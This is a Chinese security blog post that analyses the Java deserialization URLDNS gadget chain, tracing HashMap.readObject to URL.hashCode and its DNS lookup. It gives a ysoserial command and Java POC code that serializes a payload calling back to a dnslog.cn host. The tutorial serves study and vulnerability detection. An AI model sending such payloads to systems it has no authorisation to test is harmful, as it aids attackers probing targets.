Java反序列化之URLDNS链

发布于 2021-10-21  195 次阅读


URLDNS链


这条链由于没有jdk版本限制,并且只依赖原生类,常常用于判断反序列化漏洞利用点的存在

测试的环境:jdk1.8.0_301

dnslog平台:http://www.dnslog.cn/

利用链

HashMap.readObject()
    HashMap.putVal()
        HashMap.hash()
            URL.hashCode()

ysoserial生成POC链:ysoserial 源码地址:https://github.com/angelwhu/ysoserial

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://xxx.dnslog.cn" > 1.ser

POC

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("http://aaa.azlgqz.dnslog.cn");
        HashMap hashMap = new HashMap();
        Class cls = URL.class;
        Field hashCode = cls.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,2213);

        hashMap.put(url,1);

        hashCode.set(url,-1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
    }
}

漏洞分析:

HashMap

HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。

HashMap 实现了 Map 接口,根据键的 HashCode 值存储数据,具有很快的访问速度,最多允许一条记录的键为 null,不支持线程同步。

HashMap 是无序的,即不会记录插入的顺序。

HashMap 继承于AbstractMap,实现了 Map、Cloneable、java.io.Serializable 接口。

引用链接:https://www.runoob.com/java/java-hashmap.html

HashMap为什么要自己实现writeObject和readObject方法?

HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的。

所以为了避免这个问题,HashMap采用了下面的方式来解决:

  • 将可能会造成数据不一致的元素使用transient关键字修饰,从而避免JDK中默认序列化方法对该对象的序列化操作。不序列化的包括:Entry[] table,size,modCount。
  • 自己实现writeObject方法,从而保证序列化和反序列化结果的一致性。

引用链接:https://juejin.cn/post/6844903954774491144#heading-4

writeObject方法:

private void writeObject(java.io.ObjectOutputStream s)
    throws IOException {
    int buckets = capacity();
    // Write out the threshold, loadfactor, and any hidden stuff
    s.defaultWriteObject();
    s.writeInt(buckets);
    s.writeInt(size);
    internalWriteEntries(s);
}

调用了internalWriteEntries方法:

这里的table就是HashMap存储的内容,为Node类型。Node为HashMap的内部类,实现了Map.Entry接口,其包含了键key、值value、下一个节点next,以及hash值四个属性。通过tabkey-value序列化到输出流中,这样HashMap中的数据就被序列化出来了。

void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
    Node<K,V>[] tab;
    if (size > 0 && (tab = table) != null) {
        for (int i = 0; i < tab.length; ++i) {
            for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                s.writeObject(e.key);
                s.writeObject(e.value);
            }
        }
    }
}

readObject方法:

再看readObject方法:

比较长,所以贴出了关键部分。先通过s.readInt()读取序列化时HashMapsize,在通过for循环读取出key-value,调用putVal重新将数据放回HashMap中。

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    ******
        ******  
        s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    ******
        ******
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

回看之前的利用链:

HashMap.readObject()
    HashMap.putVal()
        HashMap.hash()
            URL.hashCode()

readObject中调用了hash(key),随后调用key中的hashCode

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这个时候就看哪个可以序列化的类中重写了hashCode方法,利用链中给出了URL

URL:

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

handler.hashCode(this)

这个方法中调用了getHostAddress方法,从方法名中可以看出是得到URL的地址,所以会DNS请求。这样利用链就完成了。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

现在实验一下看是否会发起DNS请求

dnslog平台:http://www.dnslog.cn/

import java.net.MalformedURLException;
import java.net.URL;

public class URLDNS {
    public static void main(String[] args) throws MalformedURLException {
        URL url = new URL("http://aaa.25rsn5.dnslog.cn");
        url.hashCode();
    }
}

这里可以注意到hashCode需要等于-1,默认为-1

image-20211019134357686

这里需要注意一下这个handler:被transient标记了,因此是不会被序列化的。

transient URLStreamHandler handler;

接着往下:进入到URLStreamHandler:hashCode调用了getHostAddress(u)。跟进去

image-20211019135301008

这里会进行一个判断,如果这个URL之前解析过。即hostAddress != null。会直接返回hostAddress。不会在DNS解析。可自行调用两次url.hashCode方法判断。通过调试将第二次的hashcode改为-1判断。然后最终调用到InetAddress.getByName(host)。得到地址,也就会进行DNS解析了。后面其实还有,就不跟了。

image-20211019135411824

image-20211019135939010

构造POC:

通过上面的分析可以构造一个简单的链:

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        URL url = new URL("http://aaa.jhtlys.dnslog.cn");
        HashMap hashMap = new HashMap();
        hashMap.put(url,1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
    }
}

但是这个链有一个问题就是,hashMap.put(url,1);也会进行DNS解析。因为put内部会调用putVal,对上HashMap中的readObject了。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

并且计算完hashCode之后会将hashCode的值改变,不再为-1,那么在反序列化的时候就不会进行DNS解析了

image-20211019134357686

那么现在就需要在调用put之前将URL中的hashCode改为其它的值。然后在将hashCode的值再重写赋值为-1。这里就需要用到Java反射的知识了。通过反射修改字段的值。现在重新修改POC

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("http://aaa.azlgqz.dnslog.cn");
        HashMap hashMap = new HashMap();
        Class cls = URL.class;
        Field hashCode = cls.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,2213);

        hashMap.put(url,1);

        hashCode.set(url,-1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
    }
}

现在就可以再反序列化之后发起DNS请求了,也是最终的POC。在ysoserialURLDNS的链跟这个有点不一样,不过原理是一样的,这里就不分析了。

总结

这条链的主要作用就是用于判断是否存在Java反序列化漏洞。因为没有jdk版本限制,并且只依赖原生类。当然,在jdk7中,HashMapreadObject有一点不一样。对比如下:不过最后都会调用hashCode方法。所以POC还是一样的

//jdk7
for (int i = 0; i < mappings; i++) {
    K key = (K) s.readObject();
    V value = (V) s.readObject();
    putForCreate(key, value);
}
//jdk8
for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
    K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false);
}

在分析这个链的时候一直有个问题困扰着我。就是上文提到过的transient URLStreamHandler handler;handlertransient,不会被序列化。那么在反序列化出来的时候它的值应该是null,但是在分析的过程中可以看到事实并不是这样。经过调试分析后发现,在URL类中有个方法readResolve

private Object readResolve() throws ObjectStreamException {

    URLStreamHandler handler = null;
    // already been checked in readObject
    handler = getURLStreamHandler(tempState.getProtocol());

    URL replacementURL = null;
    if (isBuiltinStreamHandler(handler.getClass().getName())) {
        replacementURL = fabricateNewURL();
    } else {
        replacementURL = setDeserializedFields(handler);
    }
    return replacementURL;
}

readResolve方法中会调用fabricateNewURL方法重写new一个URL实例返回。在new URL(urlString);中会对handler进行赋值:this.handler = handler;

image-20211019144751518

在反序列化的时候会通过反射调用这个方法,与通过反射调用readObject类似

image-20211019144536258

来看看readResolve的作用

通过实现java.io.Serializable接口,该接口是一个标志接口,其没有任何抽象方法需要进行重写,实现了Serializable接口的类,其序列化过程是默认的,当然,也可以通过在该类中重写如下四个方法对序列化的过程进行控制:

0. private Object writeReplace() throws ObjectStreamException;
1. private void writeObject(java.io.ObjectOutputStream out) throws IOException;
2. private void readObject(java.io.ObjectInputStream in) throws Exception;
3. private Object readResolve() throws ObjectStreamException;

其中,方法0方法1是序列化的过程中会进行调用的方法,方法2方法3是反序列化过程中会进行调用的方法。其执行的顺序是按照以上方法的排列顺序从上到下执行的。

在进行序列化时候,其序列化类java.io.ObjectOutputStream会通过反射调用writeReplace()方法。此时,可以通过返回一个与本类兼容的对象(指的是该类的子类或者本类对象)的方式替换掉需要进行序列化的本类的对象(也就是this),使其序列化所返回的对象,需要注意的是,其返回的对象的类型是需要和所序列化的本类的类型兼容的,否则,其会报ClassCastException异常。在调用完writeReplace()方法之后,其会接着调用writeObject(ObjectOutputStream out)方法进行进一步的序列化操作。在该方法中,可以序列化额外的对象,也可以调用out.defaultWriteObject()进行默认的序列化操作,其中方法的参数out对象是其原先所创建的ObjectOutputStream对象。

对于反序列化的过程,其会先通过反序列化类ObjectInputStream对象去调用readObject(ObjectInputStream in)方法,在调用该方法的时候,其可以通过in对象进行额外的反序列化操作,也可以通过调用in.defaultReadObject()方法进行默认的反序列化操作,其中方法的参数in对象是原先所创建的ObjectInputStream对象。在调用完该方法之后,其会接着调用readResolve()方法,其方法的返回值为一个Object对象,该方法返回的对象将会代替反序列化的结果,直接将其作为反序列化的结果返回给上层调用ObjectInputStream对象readObject方法的结果。

引用链接:https://www.cnblogs.com/MyStringIsNotNull/p/8017490.html

这样也就明白为什么在反序列化之后为什么handler不是null了。其本质是实现java单列模式。可参考:https://www.runoob.com/design-pattern/singleton-pattern.html


沙上有印,光中有影!